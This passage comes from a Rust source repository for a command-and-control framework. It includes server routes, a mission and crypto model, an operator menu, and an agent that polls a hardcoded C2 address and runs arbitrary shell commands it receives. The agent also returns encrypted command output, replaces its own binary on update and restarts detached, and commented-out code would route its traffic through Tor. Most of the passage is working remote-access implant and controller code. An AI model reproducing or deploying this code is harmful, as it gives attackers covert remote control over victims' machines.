AGENT_NOT_FOUND).into_response(); 155 | } 156 | Err(e) => { 157 | error!("{e}"); 158 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 159 | } 160 | }; 161 | 162 | if let Err(e) = crypto_message.verify(&agent.identity) { 163 | error!("{e}"); 164 | return (StatusCode::UNAUTHORIZED).into_response(); 165 | } 166 | 167 | if let Err(e) = services::agents::seen(c2_state.conn.clone(), agent.id) { 168 | error!("{e}"); 169 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 170 | } 171 | 172 | let Some(private_key) = c2_state 173 | .ephemeral_private_keys 174 | .lock() 175 | .unwrap() 176 | .remove(&mission_id) 177 | else { 178 | warn!("No ephemeral private key for mission {}", mission_id); 179 | return (StatusCode::UNAUTHORIZED).into_response(); 180 | }; 181 | let decrypted_data = crypto_message.decrypt(private_key).unwrap(); 182 | 183 | let result = String::from_utf8(decrypted_data).unwrap(); 184 | services::missions::complete(c2_state.conn.clone(), mission_id, &result).unwrap(); 185 | 186 | (StatusCode::ACCEPTED).into_response() 187 | } 188 | -------------------------------------------------------------------------------- /c2/src/routes/mod.rs: -------------------------------------------------------------------------------- 1 | use axum::{ 2 | extract::{Path, State}, 3 | http::StatusCode, 4 | middleware, 5 | response::IntoResponse, 6 | routing::{get, post, put}, 7 | Json, Router, 8 | }; 9 | use common::model; 10 | use tracing::{error, warn}; 11 | 12 | use crate::{jwt::Claim, services, C2State}; 13 | 14 | mod agents; 15 | mod missions; 16 | 17 | pub const AGENT_NOT_FOUND: &str = "Agent not found."; 18 | pub const MISSION_NOT_FOUND: &str = "Mission not found."; 19 | 20 | // TODO Try to propagate errors using impl IntoResponse for better error handling 21 | 22 | // TODO HTTPS 23 | pub fn init_router(state: C2State) -> Router { 24 | let logged_router = Router::new() 25 | // Agents 26 | .nest( 27 | "/agents", 28 | Router::new().route("/", get(agents::get)).nest( 29 | "/:agent_id", 30 | Router::new().route("/", put(agents::update).delete(agents::delete)), 31 | ), 32 | ) 33 | // Missions 34 | .nest( 35 | "/missions", 36 | Router::new() 37 | .route("/", post(missions::create)) 38 | .route("/:mission_id", get(missions::get_report)), 39 | ) 40 | .layer(middleware::from_fn_with_state(state.clone(), is_admin)); 41 | 42 | let not_logged_router = Router::new() 43 | // Admin login 44 | .route("/", get(admin_login)) 45 | // Crypto 46 | .route("/crypto/:mission_id", get(get_crypto)) 47 | // Missions 48 | .nest( 49 | "/missions", 50 | Router::new() 51 | .route("/", get(missions::get_next)) 52 | .route("/:mission_id", put(missions::report)), 53 | ); 54 | 55 | logged_router.merge(not_logged_router) 56 | } 57 | 58 | async fn is_admin( 59 | State(state): State, 60 | header: axum::http::HeaderMap, 61 | request: axum::extract::Request, 62 | next: middleware::Next, 63 | ) -> axum::response::Response { 64 | match header.get("Authorization") { 65 | Some(header) => { 66 | let jwt = &header.to_str().unwrap()[7..]; // Bearer 67 | let claim = match Claim::from_jwt(jwt, state.signing_key.as_bytes()) { 68 | Ok(claim) => claim, 69 | Err(e) => { 70 | error!("{e}"); 71 | return (StatusCode::UNAUTHORIZED).into_response(); 72 | } 73 | }; 74 | 75 | if claim.expired() { 76 | error!("JWT is expired"); 77 | return (StatusCode::UNAUTHORIZED).into_response(); 78 | } 79 | } 80 | None => return (StatusCode::UNAUTHORIZED).into_response(), 81 | } 82 | 83 | next.run(request).await 84 | } 85 | 86 | async fn admin_login( 87 | State(state): State, 88 | crypto_negociation: Json, 89 | ) -> impl IntoResponse { 90 | // This only checks that the admin has access to the signing key to which 91 | // the server also has access, to make sure requests are sent from 92 | // localhost. On a security perspective, I don't think it's good. It's just 93 | // a personnal project for fun though. 94 | if crypto_negociation.identity != state.signing_key.verifying_key() { 95 | error!("Failed to authenticate admin"); 96 | return (StatusCode::UNAUTHORIZED).into_response(); 97 | } 98 | 99 | if let Err(e) = crypto_negociation.verify() { 100 | error!("{e}"); 101 | return (StatusCode::UNAUTHORIZED).into_response(); 102 | } 103 | 104 | match Claim::new(1).into_jwt(state.signing_key.as_bytes()) { 105 | Ok(jwt) => { 106 | tracing::info!("Admin logged in"); 107 | (StatusCode::OK, Json(jwt)).into_response() 108 | } 109 | Err(e) => { 110 | error!("{e}"); 111 | (StatusCode::INTERNAL_SERVER_ERROR).into_response() 112 | } 113 | } 114 | } 115 | 116 | // TODO When agent is updating, it gets another identity key pair. 117 | // Check whether it is good to update the agent's identity key pair here. 118 | async fn get_crypto( 119 | State(mut c2_state): State, 120 | Path(mission_id): Path, 121 | crypto_negociation: Json, 122 | ) -> impl IntoResponse { 123 | if let Err(e) = crypto_negociation.verify() { 124 | error!("{e}"); 125 | return (StatusCode::UNAUTHORIZED).into_response(); 126 | } 127 | 128 | let mission = match services::missions::get_by_id(c2_state.conn.clone(), mission_id) { 129 | Ok(Some(m)) => m, 130 | Ok(None) => { 131 | warn!("Mission not found"); 132 | return (StatusCode::NOT_FOUND, MISSION_NOT_FOUND).into_response(); 133 | } 134 | Err(e) => { 135 | error!("{e}"); 136 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 137 | } 138 | }; 139 | 140 | if mission.completed_at.is_some() { 141 | warn!("Mission [{}] is already completed", mission_id); 142 | return (StatusCode::BAD_REQUEST).into_response(); 143 | } 144 | 145 | let agent = match services::agents::get_by_id(c2_state.conn.clone(), mission.agent_id) { 146 | Ok(Some(agent)) => agent, 147 | Ok(None) => { 148 | warn!("Agent not found"); 149 | return (StatusCode::NOT_FOUND, AGENT_NOT_FOUND).into_response(); 150 | } 151 | Err(e) => { 152 | error!("{e}"); 153 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 154 | } 155 | }; 156 | 157 | if let model::Task::Update(release) = mission.task { 158 | if release.verifying_key == crypto_negociation.identity { 159 | if let Err(e) = services::agents::update_by_id( 160 | c2_state.conn.clone(), 161 | &model::Agent { 162 | identity: release.verifying_key, 163 | ..agent 164 | }, 165 | ) { 166 | error!("{e}"); 167 | return (StatusCode::INTERNAL_SERVER_ERROR).into_response(); 168 | } 169 | } 170 | } 171 | 172 | let (private_key, crypto_negociation) = 173 | model::CryptoNegociation::new(&mut c2_state.signing_key); 174 | c2_state 175 | .ephemeral_private_keys 176 | .lock() 177 | .unwrap() 178 | .entry(mission.id) 179 | .or_insert(private_key); 180 | 181 | (StatusCode::OK, Json(Some(crypto_negociation))).into_response() 182 | } 183 | -------------------------------------------------------------------------------- /common/src/model.rs: -------------------------------------------------------------------------------- 1 | use std::{ 2 | fmt::{self, Display}, 3 | str::FromStr, 4 | }; 5 | 6 | use serde::{Deserialize, Serialize}; 7 | 8 | use crate::crypto; 9 | 10 | #[derive(Debug, Serialize, Deserialize, Clone)] 11 | pub struct Agent { 12 | pub id: i32, 13 | pub name: String, 14 | pub identity: crypto::VerifyingKey, 15 | pub platform: Platform, 16 | #[serde(rename = "createdAt")] 17 | pub created_at: chrono::DateTime, 18 | #[serde(rename = "lastSeenAt")] 19 | pub last_seen_at: chrono::DateTime, 20 | } 21 | 22 | impl Display for Agent { 23 | fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { 24 | let timeago = timeago::Formatter::new(); 25 | write!( 26 | f, 27 | "Agent [{}]: {} ({}) {}", 28 | self.id, 29 | self.name, 30 | self.platform, 31 | timeago.convert_chrono(self.last_seen_at, chrono::offset::Utc::now()) 32 | ) 33 | } 34 | } 35 | 36 | impl Agent { 37 | pub fn merge(self, value: serde_json::Value) -> Self { 38 | Agent { 39 | id: value 40 | .get("id") 41 | .and_then(serde_json::Value::as_i64) 42 | .unwrap_or(self.id as i64) as i32, 43 | name: value 44 | .get("name") 45 | .and_then(serde_json::Value::as_str) 46 | .unwrap_or(&self.name) 47 | .to_owned(), 48 | identity: value 49 | .get("identity") 50 | .and_then(|v| serde_json::from_value(v.clone()).ok()) // TODO Errors are hidden 51 | .unwrap_or(self.identity), 52 | platform: value 53 | .get("platform") 54 | .and_then(serde_json::Value::as_str) 55 | .and_then(|s| Platform::from_str(s).ok()) // TODO Errors are hidden 56 | .unwrap_or(self.platform), 57 | created_at: self.created_at, 58 | last_seen_at: self.last_seen_at, 59 | } 60 | } 61 | } 62 | 63 | #[derive(Debug, Default, Serialize, Deserialize, Copy, Clone, PartialEq, Eq)] 64 | pub enum Platform { 65 | #[default] 66 | Unix, 67 | Windows, 68 | } 69 | 70 | impl Display for Platform { 71 | fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { 72 | match self { 73 | Platform::Unix => write!(f, "Unix"), 74 | Platform::Windows => write!(f, "Windows"), 75 | } 76 | } 77 | } 78 | 79 | impl FromStr for Platform { 80 | type Err = String; 81 | 82 | fn from_str(s: &str) -> Result { 83 | match s { 84 | "Unix" => Ok(Platform::Unix), 85 | "Windows" => Ok(Platform::Windows), 86 | _ => Err(format!("Invalid platform '{s}'")), 87 | } 88 | } 89 | } 90 | 91 | #[derive(Debug, Serialize, Deserialize, Clone)] 92 | pub struct Release { 93 | pub checksum: String, 94 | pub verifying_key: crypto::VerifyingKey, 95 | pub bytes: Vec, 96 | #[serde(rename = "createdAt")] 97 | pub created_at: chrono::DateTime, 98 | } 99 | 100 | #[derive(Debug, Serialize, Deserialize, Clone)] 101 | pub struct Mission { 102 | #[serde(default)] 103 | pub id: i32, 104 | #[serde(rename = "agentId")] 105 | pub agent_id: i32, 106 | pub task: Task, 107 | pub result: Option, 108 | #[serde(default)] 109 | pub issued_at: chrono::DateTime, 110 | pub completed_at: Option>, 111 | } 112 | 113 | impl fmt::Display for Mission { 114 | fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { 115 | write!( 116 | f, 117 | "Mission [{}]: {:?}", 118 | self.id, 119 | match &self.task { 120 | Task::Update(release) => format!("Update {} compressed bytes", release.bytes.len()), 121 | Task::Execute(cmd) => format!("Execute '{cmd}'"), 122 | Task::Stop => "Stop".to_owned(), 123 | } 124 | ) 125 | } 126 | } 127 | 128 | #[derive(Debug, Serialize, Deserialize, Clone)] 129 | pub enum Task { 130 | Update(Box), 131 | Execute(String), 132 | Stop, 133 | } 134 | 135 | #[derive(Serialize, Deserialize)] 136 | pub struct CryptoNegociation { 137 | pub identity: crypto::VerifyingKey, 138 | #[serde(rename = "publicKey")] 139 | pub public_key: crypto::KeyExchangePublicKey, 140 | pub signature: crypto::Signature, 141 | } 142 | 143 | impl CryptoNegociation { 144 | pub fn new(signing_key: &mut crypto::SigningKey) -> (crypto::KeyExchangePrivateKey, Self) { 145 | let (public_key, private_key, signature) = 146 | crypto::generate_key_exchange_key_pair(signing_key); 147 | ( 148 | private_key, 149 | Self { 150 | identity: signing_key.verifying_key(), 151 | public_key, 152 | signature, 153 | }, 154 | ) 155 | } 156 | 157 | pub fn verify(&self) -> Result<(), crypto::CryptoError> { 158 | crypto::verify_key_exchange_key_pair(&self.identity, self.public_key, self.signature) 159 | } 160 | } 161 | 162 | #[derive(Serialize, Deserialize)] 163 | pub struct CryptoMessage { 164 | #[serde(rename = "publicKey")] 165 | pub public_key: crypto::KeyExchangePublicKey, 166 | pub nonce: crypto::Nonce, 167 | #[serde(rename = "encryptedData")] 168 | pub encrypted_data: Vec, 169 | pub signature: crypto::Signature, 170 | } 171 | 172 | impl CryptoMessage { 173 | pub fn new( 174 | signing_key: &mut crypto::SigningKey, 175 | public_key: crypto::KeyExchangePublicKey, 176 | plain_data: &[u8], 177 | ) -> crypto::CryptoResult { 178 | let (public_key, nonce, encrypted_data) = crypto::encrypt(public_key, plain_data)?; 179 | let signature = crypto::sign(signing_key, &[], public_key, &encrypted_data, nonce); 180 | Ok(Self { 181 | public_key, 182 | nonce, 183 | encrypted_data, 184 | signature, 185 | }) 186 | } 187 | 188 | pub fn verify(&self, verifying_key: &crypto::VerifyingKey) -> Result<(), crypto::CryptoError> { 189 | crypto::verify( 190 | verifying_key, 191 | self.signature, 192 | &[], 193 | self.public_key, 194 | &self.encrypted_data, 195 | self.nonce, 196 | ) 197 | } 198 | 199 | pub fn decrypt( 200 | &self, 201 | private_key: crypto::KeyExchangePrivateKey, 202 | ) -> crypto::CryptoResult> { 203 | crypto::decrypt( 204 | &self.encrypted_data, 205 | self.public_key, 206 | private_key, 207 | self.nonce, 208 | ) 209 | } 210 | } 211 | -------------------------------------------------------------------------------- /client/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::fs; 2 | 3 | use base64::{prelude::BASE64_STANDARD, Engine as _}; 4 | use common::{client, crypto, model}; 5 | use error::ClientResult; 6 | use selection::{Item, Selection}; 7 | 8 | mod error; 9 | mod selection; 10 | mod utils; 11 | 12 | const IDENTITY: [u8; crypto::ED25519_SECRET_KEY_SIZE] = *include_bytes!("../../c2.id"); 13 | 14 | // TODO This is not a good solution 15 | pub fn jwt() -> ClientResult { 16 | let mut signing_key = crypto::get_signing_key_from(&IDENTITY); 17 | Ok(client::login(&mut signing_key)?) 18 | } 19 | 20 | const MAIN_MENU_COMMANDS: &[Item< 21 | &str, 22 | ClientResult>, 23 | fn() -> ClientResult>, 24 | >] = &[ 25 | Item::new("Select agent", || { 26 | let agents = client::agents::get(&jwt()?)?; 27 | if agents.is_empty() { 28 | println!("No agents available"); 29 | return Ok(None); 30 | } 31 | Ok(Some(Menu::SelectAgent)) 32 | }), 33 | Item::new("Delete agent", || { 34 | let Some(agent) = utils::select_agent()? else { 35 | println!("No agent selected"); 36 | return Ok(None); 37 | }; 38 | client::agents::delete(&jwt()?, agent.id)?; 39 | Ok(None) 40 | }), 41 | Item::new("[dbg] Generate identity key pair", || { 42 | let signing_key = crypto::get_signing_key(); 43 | println!( 44 | "[+] Signing key: {:?}", 45 | BASE64_STANDARD.encode(signing_key.as_bytes()) 46 | ); 47 | println!( 48 | "[+] Verifying key: {:?}", 49 | BASE64_STANDARD.encode(signing_key.verifying_key().as_bytes()) 50 | ); 51 | Ok(None) 52 | }), 53 | Item::new("[dbg] Generate crypto negociation", || { 54 | let mut signing_key = crypto::get_signing_key(); 55 | let (private_key, crypto_negociation) = model::CryptoNegociation::new(&mut signing_key); 56 | println!( 57 | "[+] Signing key: {:?}", 58 | BASE64_STANDARD.encode(signing_key.as_bytes()) 59 | ); 60 | println!("[+] Private key: {:?}", BASE64_STANDARD.encode(private_key)); 61 | println!( 62 | "[+] Crypto negociation: {}", 63 | serde_json::to_string(&crypto_negociation)? 64 | ); 65 | Ok(None) 66 | }), 67 | ]; 68 | 69 | const AGENT_COMMANDS: for<'a> fn( 70 | &'a model::Agent, 71 | ) -> [Item< 72 | &'static str, 73 | ClientResult>, 74 | Box ClientResult>>, 75 | >; 4] = |agent| { 76 | [ 77 | Item::new( 78 | "Execute command", 79 | Box::new(move || { 80 | let mission = client::missions::issue( 81 | &jwt()?, 82 | agent.id, 83 | model::Task::Execute(utils::prompt("Command", None)?), 84 | )?; 85 | utils::poll_mission_result(mission.id); 86 | Ok(None) 87 | }), 88 | ), 89 | Item::new( 90 | "Update agent binary", 91 | Box::new(move || { 92 | let (bin_path, vk_path) = match agent.platform { 93 | model::Platform::Unix => ("target/release/agent", "target/release/id-pub.key"), 94 | model::Platform::Windows => ( 95 | "target/x86_64-pc-windows-gnu/release/agent.exe", 96 | "target/x86_64-pc-windows-gnu/release/id-pub.key", 97 | ), 98 | }; 99 | 100 | let mission = client::missions::issue( 101 | &jwt()?, 102 | agent.id, 103 | model::Task::Update(Box::new(model::Release { 104 | checksum: common::checksum(bin_path)?, 105 | verifying_key: crypto::VerifyingKey::from_bytes( 106 | fs::read(vk_path)?.as_slice().try_into().unwrap(), 107 | ) 108 | .unwrap(), 109 | bytes: common::compress(&fs::read(bin_path)?), 110 | created_at: Default::default(), 111 | })), 112 | )?; 113 | utils::poll_mission_result(mission.id); 114 | Ok(None) 115 | }), 116 | ), 117 | Item::new( 118 | "Update agent data", 119 | Box::new(|| { 120 | client::agents::update( 121 | &jwt()?, 122 | &model::Agent { 123 | name: utils::prompt("Agent name", Some(agent.name.clone()))?, 124 | identity: crypto::VerifyingKey::from_bytes( 125 | fs::read(utils::prompt("Agent identity public key file path", None)?)? 126 | .as_slice() 127 | .try_into() 128 | .unwrap(), 129 | ) 130 | .unwrap(), 131 | ..agent.clone() 132 | }, 133 | )?; 134 | Ok(None) 135 | }), 136 | ), 137 | Item::new( 138 | "Stop agent", 139 | Box::new(move || { 140 | let mission = client::missions::issue(&jwt()?, agent.id, model::Task::Stop)?; 141 | utils::poll_mission_result(mission.id); 142 | Ok(None) 143 | }), 144 | ), 145 | ] 146 | }; 147 | 148 | enum Menu { 149 | Main, 150 | SelectAgent, 151 | Agent(Box), 152 | } 153 | 154 | impl Menu { 155 | // TODO This is bad 156 | fn select(&self) -> Result>>, dialoguer::Error> { 157 | match self { 158 | Menu::Main => Selection::from(MAIN_MENU_COMMANDS).select("Select a command"), 159 | Menu::SelectAgent => { 160 | if let Ok(Some(agent)) = utils::select_agent() { 161 | Ok(Some(Ok(Some(Menu::Agent(Box::new(agent)))))) 162 | } else { 163 | Ok(None) 164 | } 165 | } 166 | Menu::Agent(agent) => { 167 | let commands: [Item< 168 | &str, 169 | Result, error::ClientError>, 170 | Box Result, error::ClientError>>, 171 | >; 4] = AGENT_COMMANDS(agent); 172 | Selection::from(&commands[..]).select(&format!("[{}] Select a mission", agent.name)) 173 | } 174 | } 175 | } 176 | } 177 | 178 | fn main() -> ClientResult<()> { 179 | let mut menu_stack = vec![]; 180 | menu_stack.push(Menu::Main); 181 | while let Some(menu) = menu_stack.last() { 182 | match menu.select()? { 183 | Some(result) => match result { 184 | Ok(Some(menu)) => menu_stack.push(menu), 185 | Ok(None) => continue, 186 | Err(e) => eprintln!("{e}"), 187 | }, 188 | None => { 189 | menu_stack.pop(); 190 | } 191 | } 192 | } 193 | println!("Bye! :)"); 194 | Ok(()) 195 | } 196 | -------------------------------------------------------------------------------- /common/src/client.rs: -------------------------------------------------------------------------------- 1 | use thiserror::Error; 2 | 3 | use crate::{crypto, model}; 4 | 5 | // const C2_URL: &str = "http://localhost:3000"; 6 | const C2_URL: &str = "http://10.211.55.2:3000"; 7 | 8 | #[derive(Debug, Error)] 9 | pub enum ClientError { 10 | #[error("Failed to send request: {0}")] 11 | Ureq(#[from] Box), 12 | #[error("Failed to serialize data: {0}")] 13 | Serde(#[from] serde_json::Error), 14 | #[error("IO error: {0}")] 15 | Io(#[from] std::io::Error), 16 | #[error("Crypto error: {0}")] 17 | Crypto(#[from] crypto::CryptoError), 18 | #[error("UTF-8 error: {0}")] 19 | Utf8(#[from] std::str::Utf8Error), 20 | #[error("Unauthorized")] 21 | Unauthorized, 22 | } 23 | 24 | pub type ClientResult = Result; 25 | 26 | const AUTHORIZATION: &str = "Authorization"; 27 | 28 | pub fn login(signing_key: &mut crypto::SigningKey) -> ClientResult { 29 | let (_, crypto_negociation) = model::CryptoNegociation::new(signing_key); 30 | let response = ureq::get(C2_URL) 31 | .send_json(crypto_negociation) 32 | .map_err(Box::new)?; 33 | 34 | if response.status() == 200 { 35 | println!("Logged in"); 36 | Ok(response.into_json::()?) 37 | } else { 38 | eprintln!("Failed to log in"); 39 | Err(ClientError::Unauthorized) 40 | } 41 | } 42 | 43 | pub mod agents { 44 | use super::*; 45 | 46 | pub fn create( 47 | token: &str, 48 | name: String, 49 | identity: crypto::VerifyingKey, 50 | platform: model::Platform, 51 | ) -> ClientResult<()> { 52 | let response = ureq::post(&format!("{C2_URL}/agents")) 53 | .set(AUTHORIZATION, &format!("Bearer {token}")) 54 | .send_json(model::Agent { 55 | id: Default::default(), 56 | name, 57 | identity, 58 | platform, 59 | created_at: Default::default(), 60 | last_seen_at: Default::default(), 61 | }) 62 | .map_err(Box::new)?; 63 | 64 | if response.status() == 201 { 65 | println!("Agent created"); 66 | } else { 67 | eprintln!("Failed to create agent"); 68 | } 69 | Ok(()) 70 | } 71 | 72 | pub fn get(token: &str) -> ClientResult> { 73 | let agents: Vec = ureq::get(&format!("{C2_URL}/agents")) 74 | .set(AUTHORIZATION, &format!("Bearer {token}")) 75 | .call() 76 | .map_err(Box::new)? 77 | .into_json()?; 78 | Ok(agents) 79 | } 80 | 81 | pub fn update(token: &str, agent: &model::Agent) -> ClientResult<()> { 82 | if ureq::put(&format!("{C2_URL}/agents/{}", agent.id)) 83 | .set(AUTHORIZATION, &format!("Bearer {token}")) 84 | .send_json(agent) 85 | .map_err(Box::new)? 86 | .status() 87 | == 200 88 | { 89 | println!("Agent name updated"); 90 | } else { 91 | eprintln!("Failed to update agent name"); 92 | } 93 | Ok(()) 94 | } 95 | 96 | pub fn delete(token: &str, agent_id: i32) -> ClientResult<()> { 97 | if ureq::delete(&format!("{C2_URL}/agents/{agent_id}")) 98 | .set(AUTHORIZATION, &format!("Bearer {token}")) 99 | .call() 100 | .map_err(Box::new)? 101 | .status() 102 | == 200 103 | { 104 | println!("Agent deleted"); 105 | } else { 106 | eprintln!("Failed to delete agent"); 107 | } 108 | Ok(()) 109 | } 110 | } 111 | 112 | pub mod missions { 113 | use super::*; 114 | 115 | pub fn issue(token: &str, agent_id: i32, task: model::Task) -> ClientResult { 116 | let mission: model::Mission = ureq::post(&format!("{C2_URL}/missions")) 117 | .set(AUTHORIZATION, &format!("Bearer {token}")) 118 | .send_json(serde_json::to_value(model::Mission { 119 | id: Default::default(), 120 | agent_id, 121 | task, 122 | result: None, 123 | issued_at: Default::default(), 124 | completed_at: None, 125 | })?) 126 | .map_err(Box::new)? 127 | .into_json()?; 128 | Ok(mission) 129 | } 130 | 131 | pub fn get_result(token: &str, mission_id: i32) -> ClientResult> { 132 | let response = ureq::get(&format!("{C2_URL}/missions/{mission_id}")) 133 | .set(AUTHORIZATION, &format!("Bearer {token}")) 134 | .call() 135 | .map_err(Box::new)?; 136 | if response.status() == 204 { 137 | Ok(None) 138 | } else { 139 | let result: Option = response.into_json()?; 140 | Ok(result) 141 | } 142 | } 143 | 144 | pub fn get_next( 145 | signing_key: &mut crypto::SigningKey, 146 | c2_verifying_key: &crypto::VerifyingKey, 147 | ) -> ClientResult> { 148 | log::debug!("Getting mission"); 149 | let (private_key, crypto_negociation) = model::CryptoNegociation::new(signing_key); 150 | 151 | let response = ureq::get(&format!("{C2_URL}/missions")) 152 | .set(crate::PLATFORM_HEADER, &crate::PLATFORM.to_string()) 153 | .send_json(serde_json::to_value(crypto_negociation)?) 154 | .map_err(Box::new)?; 155 | if response.status() == 204 { 156 | log::debug!("No mission"); 157 | return Ok(None); 158 | } 159 | 160 | let crypto_message: model::CryptoMessage = response.into_json()?; 161 | crypto_message.verify(c2_verifying_key)?; 162 | let decrypted_data = crypto_message.decrypt(private_key)?; 163 | let mission: model::Mission = 164 | serde_json::from_slice(std::str::from_utf8(&decrypted_data)?.as_bytes())?; 165 | log::info!("Got mission: {mission}"); 166 | 167 | Ok(Some(mission)) 168 | } 169 | 170 | pub fn report( 171 | signing_key: &mut crypto::SigningKey, 172 | mission: model::Mission, 173 | result: &str, 174 | ) -> ClientResult<()> { 175 | log::info!("Reporting mission: {mission}"); 176 | log::debug!("{result}"); 177 | let (_, crypto_negociation) = model::CryptoNegociation::new(signing_key); 178 | let response = ureq::get(&format!("{C2_URL}/crypto/{}", mission.id)) 179 | .send_json(serde_json::to_value(crypto_negociation)?) 180 | .map_err(Box::new)?; 181 | 182 | if response.status() != 200 { 183 | log::error!("Failed to get crypto negociation"); 184 | return Ok(()); 185 | } 186 | 187 | let crypto_negociation: model::CryptoNegociation = response.into_json()?; 188 | 189 | crypto_negociation.verify()?; 190 | 191 | let response = ureq::put(&format!("{C2_URL}/missions/{}", mission.id)) 192 | .set(crate::PLATFORM_HEADER, &crate::PLATFORM.to_string()) 193 | .send_json(serde_json::to_value(model::CryptoMessage::new( 194 | signing_key, 195 | crypto_negociation.public_key, 196 | result.as_bytes(), 197 | )?)?) 198 | .map_err(Box::new)?; 199 | 200 | if response.status() != 202 { 201 | log::error!("Failed to report mission [{}]: {:#?}", mission.id, response); 202 | } 203 | Ok(()) 204 | } 205 | } 206 | -------------------------------------------------------------------------------- /agent/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::{env, fs, path::Path, thread, time}; 2 | 3 | // use arti_client::{TorClient, TorClientConfig}; 4 | // use arti_hyper::ArtiHttpConnector; 5 | use common::{client, crypto, model}; 6 | use log::{error, info}; 7 | // use futures::{Stream, StreamExt}; 8 | // use hyper::Body; 9 | // use tls_api::{TlsConnector as TlsConnectorTrait, TlsConnectorBuilder}; 10 | // use tls_api_openssl::TlsConnector; 11 | 12 | // #[cfg(debug_assertions)] 13 | // struct MissionStream; 14 | 15 | // #[cfg(not(debug_assertions))] 16 | // struct MissionStream { 17 | // tor_client: TorClient, 18 | // } 19 | 20 | // #[cfg(not(debug_assertions))] 21 | // impl MissionStream { 22 | // fn new() -> Self { 23 | // MissionStream { 24 | // tor_client: TorClient::create_bootstrapped(TorClientConfig::default()), 25 | // } 26 | // } 27 | // } 28 | 29 | // #[cfg(not(debug_assertions))] 30 | // impl Stream for MissionStream { 31 | // type Item = Vec; 32 | 33 | // fn poll_next( 34 | // self: std::pin::Pin<&mut Self>, 35 | // cx: &mut std::task::Context<'_>, 36 | // ) -> std::task::Poll> { 37 | // let http = hyper::Client::new(); 38 | // let mut resp = http.get("localhost:3000".try_into()?).await?; 39 | // let mut resp = tokio::join!(http.get("localhost:3000".try_into()?)); 40 | 41 | // println!("Status: {}", resp.status()); 42 | // let body = hyper::body::to_bytes(resp.body_mut()).await?; 43 | // println!("Body: {}", std::str::from_utf8(&body)?); 44 | // cx.waker().wake_by_ref(); 45 | // std::task::Poll::Pending 46 | // } 47 | // } 48 | 49 | // #[tokio::main] 50 | // async fn main() -> anyhow::Result<()> { 51 | // println!("Starting Arti..."); 52 | // let tor_client = TorClient::create_bootstrapped(TorClientConfig::default()).await?; 53 | 54 | // let tls_connector = TlsConnector::builder()?.build()?; 55 | 56 | // let tor_connector = ArtiHttpConnector::new(tor_client, tls_connector); 57 | // let http = hyper::Client::builder().build::<_, Body>(tor_connector); 58 | 59 | // println!("Requesting http://icanhazip.com via Tor..."); 60 | // let mut resp = http.get("http://icanhazip.com".try_into()?).await?; 61 | // println!("Status: {}", resp.status()); 62 | // let body = hyper::body::to_bytes(resp.body_mut()).await?; 63 | // println!("Body: {}", std::str::from_utf8(&body)?); 64 | 65 | // println!("Requesting http://icanhazip.com without Tor..."); 66 | // let http = hyper::Client::new(); 67 | // let mut resp = http.get("http://icanhazip.com".try_into()?).await?; 68 | // println!("Status: {}", resp.status()); 69 | // let body = hyper::body::to_bytes(resp.body_mut()).await?; 70 | // println!("Body: {}", std::str::from_utf8(&body)?); 71 | 72 | // Ok(()) 73 | // } 74 | 75 | mod error; 76 | mod platform; 77 | 78 | type AgentResult = Result; 79 | 80 | #[cfg(windows)] 81 | #[link_section = ".sk"] 82 | #[used] 83 | static mut SECRET_KEY: [u8; crypto::ED25519_SECRET_KEY_SIZE] = [0; crypto::ED25519_SECRET_KEY_SIZE]; 84 | 85 | fn failsafe_loop( 86 | signing_key: &mut crypto::SigningKey, 87 | c2_verifying_key: &crypto::VerifyingKey, 88 | agent_path: &Path, 89 | ) -> AgentResult<()> { 90 | loop { 91 | if let Some(mission) = client::missions::get_next(signing_key, c2_verifying_key)? { 92 | match &mission.task { 93 | model::Task::Update(release) => { 94 | // TODO Update should keep same signing key 95 | info!("Updating agent '{}'", agent_path.display()); 96 | if *release.checksum == common::checksum(agent_path)? { 97 | info!("Agent is already up to date"); 98 | client::missions::report(signing_key, mission, "OK")?; 99 | continue; 100 | } 101 | let new_agent_path = agent_path.with_file_name("agent.new"); 102 | let bytes = common::decompress(&release.bytes); 103 | fs::write(&new_agent_path, bytes)?; 104 | self_replace::self_replace(&new_agent_path)?; 105 | fs::remove_file(&new_agent_path)?; 106 | platform::execute_detached(agent_path, mission) 107 | .expect("Failed to restart the agent"); 108 | break; 109 | } 110 | model::Task::Execute(command) => { 111 | info!("Executing command: {command}"); 112 | let output = match platform::execute_cmd(command) { 113 | Ok(output) => output.stdout, 114 | Err(e) => e.to_string().as_bytes().to_vec(), 115 | }; 116 | client::missions::report( 117 | signing_key, 118 | mission, 119 | &String::from_utf8(output).unwrap(), 120 | )?; 121 | } 122 | model::Task::Stop => { 123 | client::missions::report(signing_key, mission, "OK")?; 124 | break; 125 | } 126 | } 127 | } 128 | } 129 | Ok(()) 130 | } 131 | 132 | fn main() -> AgentResult<()> { 133 | if env::var("RUST_LOG").is_err() { 134 | env::set_var("RUST_LOG", "info"); 135 | } 136 | env_logger::init(); 137 | info!("░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓███████▓▒░░▒▓██████████████▓▒░░▒▓████████▓▒░░▒▓███████▓▒░"); 138 | info!("░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ "); 139 | info!("░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ "); 140 | info!("░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ "); 141 | info!("░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░"); 142 | info!("░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ 